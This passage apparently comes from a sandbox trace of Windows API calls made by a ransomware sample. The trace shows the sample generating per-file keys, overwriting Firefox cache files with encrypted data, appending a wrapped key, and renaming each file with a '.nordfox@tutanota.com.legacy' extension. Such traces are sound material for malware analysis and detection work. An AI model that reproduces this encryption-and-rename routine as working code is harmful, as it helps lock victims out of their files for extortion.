lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8710 | out: pbBuffer=0x30d8710) returned 1 [0191.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0191.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", dwFileAttributes=0x80) returned 1 [0191.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d81e8 [0191.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.896] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.897] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2301) returned 1 [0191.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8fd) returned 0x30f5890 [0191.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8fd) returned 0x30f6198 [0191.897] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0191.909] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.909] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f6198*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0191.909] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8fd [0191.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8710*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.909] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.910] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.910] CloseHandle (hObject=0x1b80) returned 1 [0191.910] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7588 | out: pbBuffer=0x30d7588) returned 1 [0191.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.914] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", dwFileAttributes=0x80) returned 1 [0191.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7ed0 [0191.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.914] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.915] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1320) returned 1 [0191.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x619c48 [0191.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x30f5890 [0191.915] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0191.916] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.916] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0191.916] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0191.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.917] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7588*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.917] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.917] CloseHandle (hObject=0x1b80) returned 1 [0191.917] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.919] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d78a0 | out: pbBuffer=0x30d78a0) returned 1 [0191.919] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.919] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", dwFileAttributes=0x80) returned 1 [0191.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8818 [0191.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.919] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.919] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=144848) returned 1 [0191.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x235d0) returned 0x2eeb018 [0191.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x235d0) returned 0x3520048 [0191.921] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x235d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x235d0, lpOverlapped=0x0) returned 1 [0191.937] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-144848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.937] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x235d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x235d0, lpOverlapped=0x0) returned 1 [0191.938] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x235d0 [0191.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.938] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d78a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d78a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.938] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d78a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d78a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.938] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.938] CloseHandle (hObject=0x1b80) returned 1 [0191.939] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7378 | out: pbBuffer=0x30d7378) returned 1 [0191.940] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.941] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", dwFileAttributes=0x80) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d83f8 [0191.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.941] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.941] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2301) returned 1 [0191.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8fd) returned 0x30f5890 [0191.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8fd) returned 0x30f6198 [0191.941] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0191.950] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.950] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f6198*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0191.951] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8fd [0191.951] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.951] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7378*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7378*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.951] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7378*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.951] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.951] CloseHandle (hObject=0x1b80) returned 1 [0191.952] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7dc8 | out: pbBuffer=0x30d7dc8) returned 1 [0191.953] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0191.953] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", dwFileAttributes=0x80) returned 1 [0191.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8500 [0191.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.954] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.954] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=520) returned 1 [0191.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x208) returned 0x5646a8 [0191.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x208) returned 0x52f438 [0191.954] ReadFile (in: hFile=0x1b80, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x208, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x208, lpOverlapped=0x0) returned 1 [0191.955] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.955] WriteFile (in: hFile=0x1b80, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x208, lpOverlapped=0x0) returned 1 [0191.955] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x208 [0191.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7dc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7dc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.956] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7dc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7dc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.962] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.962] CloseHandle (hObject=0x1b80) returned 1 [0191.962] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7ed0 | out: pbBuffer=0x30d7ed0) returned 1 [0191.964] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0191.964] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", dwFileAttributes=0x80) returned 1 [0191.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8920 [0191.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.964] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.965] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4042) returned 1 [0191.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfca) returned 0x30f5890 [0191.965] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfca) returned 0x30d9040 [0191.965] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xfca, lpOverlapped=0x0) returned 1 [0191.966] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.966] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0xfca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfca, lpOverlapped=0x0) returned 1 [0191.966] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfca [0191.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7ed0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7ed0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.967] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7ed0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7ed0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.967] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.967] CloseHandle (hObject=0x1b80) returned 1 [0191.967] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5.1506877342345.nordfox@tutanota.com.legacy" (normalized: 